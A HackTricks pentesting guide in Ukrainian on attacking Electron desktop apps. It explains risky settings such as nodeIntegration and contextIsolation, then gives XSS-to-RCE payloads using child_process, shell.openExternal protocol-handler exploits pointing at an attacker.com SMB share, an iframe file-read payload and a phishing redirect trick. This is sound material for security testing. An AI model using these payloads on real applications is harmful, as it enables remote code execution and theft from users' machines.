Electron Desktop Apps

Support HackTricks

Вступ

Electron поєднує локальний бекенд (з NodeJS) і фронтенд (Chromium), хоча йому не вистачає деяких механізмів безпеки сучасних браузерів.

Зазвичай ви можете знайти код електронного додатку всередині .asar програми, щоб отримати код, вам потрібно його витягти:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

В вихідному коді програми Electron, всередині packet.json, ви можете знайти вказаний файл main.js, де налаштовуються конфігурації безпеки.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron має 2 типи процесів:

  • Головний процес (має повний доступ до NodeJS)

  • Процес рендерера (повинен мати обмежений доступ до NodeJS з міркувань безпеки)

Процес рендерера буде вікном браузера, що завантажує файл:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Налаштування renderer process можуть бути сконфігуровані в main process всередині файлу main.js. Деякі з конфігурацій запобігатимуть отриманню RCE або інших вразливостей, якщо налаштування правильно сконфігуровані.

Electron додаток може отримати доступ до пристрою через Node API, хоча його можна налаштувати, щоб запобігти цьому:

  • nodeIntegration - за замовчуванням вимкнено. Якщо ввімкнено, дозволяє отримувати доступ до функцій Node з renderer process.

  • contextIsolation - за замовчуванням увімкнено. Якщо вимкнено, основний і renderer процеси не ізольовані.

  • preload - за замовчуванням порожній.

  • sandbox - за замовчуванням вимкнено. Це обмежить дії, які може виконувати NodeJS.

  • Node Integration в Workers

  • nodeIntegrationInSubframes - за замовчуванням вимкнено.

  • Якщо nodeIntegration увімкнено, це дозволить використовувати Node.js APIs на веб-сторінках, які завантажуються в iframes в рамках Electron додатку.

  • Якщо nodeIntegration вимкнено, тоді попередні завантаження завантажаться в iframe.

Приклад конфігурації:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Деякі RCE payloads з тут:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Захоплення трафіку

Змініть конфігурацію start-main і додайте використання проксі, наприклад:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Якщо ви можете виконати Electron App локально, можливо, ви зможете виконати довільний код JavaScript. Перевірте, як це зробити в:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Якщо nodeIntegration встановлено на on, JavaScript веб-сторінки може легко використовувати функції Node.js, просто викликавши require(). Наприклад, спосіб виконати додаток calc на Windows:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Скрипт, вказаний у цій налаштуванні, завантажується перед іншими скриптами в рендерері, тому він має необмежений доступ до Node API:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Отже, скрипт може експортувати node-features на сторінки:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Якщо contextIsolation увімкнено, це не спрацює

RCE: XSS + contextIsolation

contextIsolation вводить окремі контексти між скриптами веб-сторінки та внутрішнім кодом JavaScript Electron, щоб виконання JavaScript кожного коду не впливало на інший. Це необхідна функція для усунення можливості RCE.

Якщо контексти не ізольовані, зловмисник може:

  1. Виконати произвольний JavaScript у рендерері (XSS або навігація на зовнішні сайти)

  2. Перезаписати вбудований метод, який використовується в preload або внутрішньому коді Electron на власну функцію

  3. Запустити використання перезаписаної функції

  4. RCE?

Є 2 місця, де вбудовані методи можуть бути перезаписані: у коді preload або у внутрішньому коді Electron:

Electron contextIsolation RCE via preload codeElectron contextIsolation RCE via Electron internal codeElectron contextIsolation RCE via IPC

Обхід події кліку

Якщо є обмеження, які застосовуються при натисканні на посилання, ви можете обійти їх, зробивши середній клік замість звичайного лівого кліку.

window.addEventListener('click', (e) => {

RCE через shell.openExternal

Для отримання додаткової інформації про ці приклади перегляньте https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 та https://benjamin-altpeter.de/shell-openexternal-dangers/

При розгортанні настільного додатку Electron важливо забезпечити правильні налаштування для nodeIntegration та contextIsolation. Встановлено, що віддалене виконання коду на стороні клієнта (RCE), яке націлене на попередньо завантажені скрипти або рідний код Electron з основного процесу, ефективно запобігається за наявності цих налаштувань.

Коли користувач взаємодіє з посиланнями або відкриває нові вікна, спрацьовують певні обробники подій, які є критично важливими для безпеки та функціональності додатку:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Ці слухачі перекриваються настільним додатком для реалізації власної бізнес-логіки. Додаток оцінює, чи слід відкривати навігаційне посилання внутрішньо чи в зовнішньому веб-браузері. Це рішення зазвичай приймається через функцію openInternally. Якщо ця функція повертає false, це вказує на те, що посилання слід відкривати зовнішньо, використовуючи функцію shell.openExternal.

Ось спрощений псевдокод:

Найкращі практики безпеки Electron JS радять не приймати ненадійний контент з функцією openExternal, оскільки це може призвести до RCE через різні протоколи. Операційні системи підтримують різні протоколи, які можуть викликати RCE. Для детальних прикладів та подальшого пояснення з цього питання можна звернутися до цього ресурсу, який містить приклади протоколів Windows, здатних експлуатувати цю вразливість.

Приклади експлуатації протоколів Windows включають:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Читання внутрішніх файлів: XSS + contextIsolation

Вимкнення contextIsolation дозволяє використовувати <webview> теги, подібно до <iframe>, для читання та ексфільтрації локальних файлів. Наведений приклад демонструє, як експлуатувати цю вразливість для читання вмісту внутрішніх файлів:

Крім того, подається ще один метод читання внутрішнього файлу, що підкреслює критичну вразливість читання локальних файлів в Electron десктопному додатку. Це передбачає ін'єкцію скрипта для експлуатації програми та ексфільтрації даних:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Old Chromium

Якщо chromium, що використовується в додатку, є старим і в ньому є відомі вразливості, можливо, ви зможете використати це та отримати RCE через XSS. Ви можете побачити приклад у цьому writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing через обхід regex внутрішнього URL

Припустимо, ви знайшли XSS, але ви не можете викликати RCE або вкрасти внутрішні файли, ви можете спробувати використати це для викрадення облікових даних через фішинг.

По-перше, вам потрібно знати, що відбувається, коли ви намагаєтеся відкрити новий URL, перевіряючи JS код на фронтенді:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Виклик openInternally вирішить, чи посилання буде відкрито в десктопному вікні, оскільки це посилання, що належить платформі, чи буде відкрито в браузері як ресурс третьої сторони.

У випадку, якщо regex, використаний функцією, є вразливим до обходів (наприклад, через неекранування крапок піддоменів), зловмисник може зловживати XSS, щоб відкрити нове вікно, яке буде розташоване в інфраструктурі зловмисника, питавши у користувача про облікові дані:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Інструменти

  • Electronegativity - це інструмент для виявлення неправильних налаштувань та антипатернів безпеки в додатках на базі Electron.

  • Electrolint - це плагін з відкритим кодом для VS Code для додатків Electron, який використовує Electronegativity.

  • nodejsscan для перевірки вразливих сторонніх бібліотек

  • Electro.ng: Вам потрібно його купити

Лабораторії

У https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s ви можете знайти лабораторію для експлуатації вразливих додатків Electron.

Деякі команди, які допоможуть вам у лабораторії:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Посилання

Підтримати HackTricks

Last updated